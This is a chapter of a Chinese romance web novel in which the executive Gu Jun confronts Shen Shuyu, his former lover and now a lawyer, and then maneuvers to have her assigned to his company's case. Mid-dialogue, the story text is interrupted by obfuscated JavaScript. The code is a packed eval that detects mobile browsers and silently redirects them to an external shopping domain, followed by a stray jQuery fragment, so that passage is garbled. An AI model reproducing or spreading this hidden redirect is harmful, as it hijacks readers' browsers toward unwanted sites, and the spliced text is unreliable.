文趣网 > 其他小说 > 错位纠缠[追妻火葬场] > 4. 第四章:旧情
    顾钧看到沈书钰停下来,把右手从门把上松开。

    心里莫名涌出一种愉悦。

    她在说,“顾总,律师费的事可以在,”

    “会后。”顾钧再次强调。

    会议室里剩下的几个人对视了一眼。

    法务组长第一个拿起自己没喝完的咖啡杯走了出去。

    分公司总裁看了一眼顾钧,又看了一眼沈书钰,离开了座位。

    门是最后出去的那个人带上的,门锁的舌簧弹入锁孔发出“咔”的声响。

    她站在会议桌这一端,他站在那一端。

    中间的灰色长桌拉开几米的距离。

    “顾总。”沈书钰刻意不去看他,只当是素不相识。

    顾钧把手从口袋拿出来,往她那边走去。

    每一步踩在地毯上,发出有节律的声响。

    直至她的面前站定。

    沈书钰被迫对上他的眼睛。

    她没打算叙旧,依旧是客套中带着疏离。

    “顾总,律师费的事可以在邮件里沟通,没必要在这里。”

    骤然见到梦里的人,顾钧的眸色覆上一层浓影。

    “别提邮件,我们之间非得这么说话?”

    他的双手已经覆上她的腰身,熟悉的感觉跟记忆里分毫不差,仿佛七年的分离根本就不存在。

    他的手很烫,沈书钰想推开,推不动。

    “顾钧,放手!”

    “现在知道喊我的名字了?”他低头凑到她的耳边问,“他是谁?”

    “刚才碰你的。”他的右手更用力了些,左手直接抚过被张明衡碰过的那一缕碎发,漫不经心的动作里全是在意。

    沈书钰偏开脸。

    “同事。”

    “同事?”他轻咬着这两个字。

    “同事而已,就碰你头发?”

    “顾钧!”

    顾钧没再理会那些,手臂将她圈在怀中牢牢抱住,就像无数次梦里做过的那样,声音软的不像话。

    “书钰,我回来了,再也不走了。”

    话音还没落定,

    顾钧的怀抱已经完全落空。

    沈书钰挣开了他,往后退了半步。

    她垂着眼眸,声音只有距离。

    “顾钧。”

    “几年不见,哄人的本事倒是见长了。”

    “回来了又怎样?早就回不去了。”

    顾钧扣住沈书钰的指尖往怀里带,眼里全是执着,“可我想回去。”

    沈书钰低眉挣开,“那也不关我的事!”

    她垂手抚平套装上微乱的褶皱,每一个动作都在刻意划清二人界限。

    “书钰,”

    顾钧喉头轻滚,如同梦里呼唤过无数次那样的字正腔圆。

    沈书钰却已经敛去所有多余情绪,重新捡起律师应有的冷静。

    “顾总,案子的事您可以再仔细斟酌,汉诚的海外资源不比那些头部差,我先走一步了。”

    拉开门的那一瞬,走廊的灯光涌进来。

    她没有回头。

    门口张明衡正拎着公文包等沈书钰。

    “这是........怎么了?”

    他往门里看了一眼。

    沈书钰努力撑起的冷硬在出门后直接崩解,只低声回了一句抱歉。

    张明衡看见她走的方向是盥洗室那边,没有再跟。

    感应灯亮了一排。

    白得刺眼。

    这是三十三层最里边的一间盥洗室,平时没人过来。

    沈书钰拧开水龙头,任由凉水冲过手背,听肆意的流水散落成淅沥的雨声。

    镜子里的女人眼眶是红的,任谁都能看出狼狈。

    她从没想过他还敢再次出现。

    那七年里。

    先是痛,痛到最后眼泪都成了奢侈品。

    后来她骗自己。

    或许他是突然死了。

    明明有那么多执手相爱的过往,怎会突然消失?

    顾钧几乎是下意识的一路跟了过来。

    门锁“咔噔”一声,水声也随之戛然而止。

    沈书钰刚转过身,门口的顾钧便缓缓覆了上来。

    气息层层逼近,两人的距离不断收紧,她避无可避。

    大抵是方才哭过,沈书钰的眼尾还泛着薄红,破碎的眸子就这么直接的撞进顾钧眼底。

    心口有一瞬细密的疼,他抚上她的发,连语调都不知不觉中裹着连他自己都未察觉的缱绻和小意,

    “当真不念半点旧情?”

    沈书钰身子一僵,压下眼底再次翻涌的酸涩。

    “旧情?”

    她反问他,“你跟我提旧情?”

    那是毕业典礼后的第二天,他消失了。

    手机号的声音永远变成了“您拨打的号码为空号”。

    她守在他的宿舍楼下想问问为什么,却只能空洞的看着电量从满格掉到百分之一。

    那天室友把她扶回宿舍时,她全身都在抖。

    七月初的江城晚上有三十多度,她却冷的全身发抖。

    现在他说她不念旧情。

    “你有什么旧情让我念的?”

    沈书钰红着眼眶推开了顾钧。

    “顾总,恒通的盥洗室不是给你堵人的地方。”

    “现在,请您离我远点。”

    她想从他身侧走过。

    手腕却被捏住了。

    他的手,固执的从她手腕慢慢滑下,直至十指相扣,指节轻压,然后是不容反抗的收紧。

    “抬头,看我。”

    “再看一眼。”他褪去所有的傲气,声线压得极低,带着欲望翻腾的渴求,恍惚间,竟和七年前蝉鸣聒噪的夏天,重合得分毫不差。

    她被他牵引着回转,后背直接撞上洗手台边缘,腰间的疼痛让她眼角几乎要沁出泪来。

    “你放手!”

    “不放。”

    他的下巴落在她肩窝里,额头抵着她的侧颈,呼出来的气烫在她皮肤上,麻麻的。

    “还在原地等我好不好?”他的声音好像哑了。

    “顾钧,你知不知道自己在干什么?”

    “不重要,我只要你。”

    他回应着,俯身低头,薄唇覆上她眼角即将滚落的泪珠,将梦里所有的偏执,尽数揉进这个轻吻里。

    沈书钰抬眸看向他的眼睛。

    里面是她看不清的妄念。

    良久。

    那只被他牢牢扣在掌心的手,开始缓缓移动。

    一寸一寸,直至完全抽离。

    大厦一楼大堂的灯光亮得扎眼。

    沈书钰穿过旋转门走出去,风从江面上吹过来,裙摆被掀起来一角,她没用手去压。

    张明衡的车停在转门左边,摇下车窗,递过来一个崭新的保温杯。

    “喝吧。”

    她接过来,拧开盖子,温热的液体顺着喉咙淌下去。然后把杯子捏在手里,没有还回去。

    张明衡没有问她任何话,也没有看她,只是把目光专注在前面的路面。

    她闭上了眼睛。

    远远地,顾钧就站在大厦的门廊底下。

    那件炭黑色西装忘了拿下来,身上只剩衬衫和马甲。

    他看着她上了张明衡的车,看着张明衡的车窗摇下来,递过去一个杯子。

    她接了,她低头喝了一口,她没有推。

    她的嘴唇碰到那个杯口。

    那个杯子是那个男人的。

    顾钧折回会议室的时候,桌面上那份汉诚律所的与会人员名单摊开着。

    他坐下来,食指从第一行划到第五行,停住了。

    沈书钰。

    汉诚律师事务所。高级律师。

    隔了两行是张明衡。高级合伙人。

    他拇指在那个名字上面碾了一下,指腹下面的纸张起了细微的毛边。

    陈特助推门进来,手里夹着一份文件。

    “顾总,关于北美子公司的案子……”

    “汉诚那边,主辩是谁?”

    陈特助低头看了一眼文件。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789069|210301||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    顾总,汉诚这次报过来五名律师,首推的主辩是黄远洲。黄律师之前,”

    “沈书钰。”

    陈特助愣了一下。

    “顾总,黄律师的胜诉率——”

    “指定沈书钰。”

    他的声音没有起伏,但陈特助看到了他手指下面的那行铅字已经被碾得有些模糊了,顿了一下,转身安排去了。

    房间里安静得只剩空调出风口的声音。

    顾钧把那份汉诚律所的人员名单又翻了一遍。

    第二页是附带的律师履历。

    张明衡那一栏附了一张证件照,半身,穿深蓝色西装,嘴角挂着职业性的微笑。

    顾钧点在那张照片上,拨出一个号码。

    “帮我查个人。汉诚律所,张明衡。”

    电话那头沉默了两秒。

    “顾总,查多深?”

    “全部。”

    他挂了电话,把手机扣在桌面上。

    窗外那艘船已经靠岸了,汽笛声隔着两层玻璃传进来,很沉闷。

    他把领带扯下,想起刚才握住沈书钰的那个瞬间。

    她的手指是冰凉的,比七年前凉多了。

    顾钧站起来,走到窗前,看落地窗外江面上的光影被风吹皱了,转身走回桌前,拿起那份名单,把张明衡那一栏整行用黑笔狠狠划了一道。

    黑墨水渗进纸里,边缘沁出细小的毛刺。

    他把笔帽扣回去,扔在桌上。

    手机亮了一下,顾钧拿起来,是陈特助发来的确认消息。

    “顾总,已通知汉诚,沈书钰律师为本案主辩。汉诚方面已致电确认。”

    他把那行字读了五遍。

    确认了。

    她避不开的。

    下次开会她必须来。

    而他会坐在她正对面,看着她。

    她躲不掉的。

    他放下手机,端起那杯凉透的老枞水仙喝了一口,让那股涩味从舌尖泛到舌根。

    晚上九点四十七分。

    沈书钰将公寓里的灯拍开了。

    玄关的小射灯投下一圈暖黄色的光,落在鞋柜上那盆绿萝的叶子上。

    微信的界面里,秦筝的头像还亮着,在列表的最上面。

    她想了一会。

    将“我在委托公司那里看到他了”发了过去。

    消息过了九分钟才变成已读。

    然后一个个绿色的气泡从屏幕中连续跳了出来。

    “那个渣男?!”

    “装死七年,现在回来干什么?!”

    紧接着是第三个消息。

    “你还好吗?”

    沈书钰想说点什么,反复删改,最后只发出了一串省略号。

    秦筝的电话在这时弹进来了。

    她接起电话,还没开口,秦筝那边已经开骂了。

    骂顾钧是人渣。

    骂他怎么还有脸回来。

    骂他不配再出现在她面前。

    秦筝的语速很快,气都不换,骂到一半自己先哭了。

    她说,“书钰,你别怕,有我在。你把所有事交给我,让我来骂他。”

    沈书钰窝在床上,心口也泛起酸涩,缓了好一会儿才说,“其实也还好,他好像没怎么变。”

    “屁。“秦筝在那头拍了一下桌子。

    “七年了,人还能没变?!”

    “书钰你听我说。”秦筝的语气从愤怒转成了咬牙切齿。

    “你不能被他骗。”

    “这种人渣最擅长的就是装深情,演得比真的还真。”

    “把别人的人生当游戏,想进就进,想退就退。”

    “退完哪天觉得自己后悔了,就再回来玩一圈。”

    “这一次,你别再陷进去了。”

    沈书钰的鼻子堵了,认真的嗯了一声,算是答应了,为了让秦筝放心去睡觉。

    秦筝明天有早班,还要给客户做汇报,她不能因为自己的事让秦筝熬夜。

    沈书钰安静的呆在这间公寓。

    一夜无眠。